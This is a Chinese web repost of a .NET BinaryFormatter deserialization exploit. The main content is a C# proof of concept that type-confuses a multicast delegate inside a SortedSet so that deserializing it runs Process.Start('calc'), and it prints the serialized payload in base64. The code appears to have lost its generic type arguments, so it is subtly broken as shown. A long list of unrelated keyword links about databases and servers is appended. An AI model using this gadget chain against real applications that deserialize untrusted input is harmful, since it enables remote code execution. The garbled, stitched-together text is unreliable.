.Net反序列化漏洞之BinaryFormatter
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例,有
千家信息网最后更新 2025年12月01日.Net反序列化漏洞之BinaryFormatter
https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
.Net反序列化导致RCE的样例,有两点限制:
- BinaryFormatter::Deserialize反序列化的内容用户可控
- .Net SDK大于等于4.5
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks;namespace Deserializer{ class Program { public static void getCalcPayload() { // Create a simple multicast delegate Delegate d = new Comparison(String.Compare); Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d); // Create set with original comparer IComparer comp = Comparer.Create(d2); SortedSet set = new SortedSet(comp); set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d2); BinaryFormatter formatter = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }; using (MemoryStream stream = new MemoryStream()) { formatter.Serialize(stream, set); int position = (int)stream.Position; byte[] array = stream.GetBuffer(); Array.Resize(ref array, position); String payload = Convert.ToBase64String(array); Console.WriteLine("Calc.exe PayLoad:" + payload); //FileSystemUtils.Pullfile(payload, "payload_calc.dat"); stream.Position = 0; formatter.Deserialize(stream); } } static void TypeConfuseDelegate(Comparison comp) { FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object[] invoke_list = comp.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(comp, invoke_list); } static void Main(string[] args) { getCalcPayload(); } }}
序列
内容
用户
限制
漏洞
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网吧服务器删除龙管家
镇江多功能软件开发价格多少
网络安全专业技术人员
软件开发应用题
四川工业软件开发靠谱吗
数据库重组和重构区别
民生银行网络安全周宣传简报
mc新出的服务器
做店群选哪个云服务器比较好
开发小程序要服务器
软件开发CPU选因特尔还是瑞龙
互联网科技公司年会
金仓数据库异常增长
服务器存储空间不足需要怎么扩容
酷笔网络技术
vnc服务器端
软件开发书单豆瓣
django 测试数据库
微软中国软件开发
游戏客服怎么和服务器连接
嵌入式dsp软件开发流程
网络安全制度讲解
gta5云端服务器
数据库设计 心得
网无法连接服务器失败
服务器系统2012镜像安装
数据库系统概念试题库及答案
香港微软服务器安全吗
apex刷双锤哪个服务器好
全球司法数据库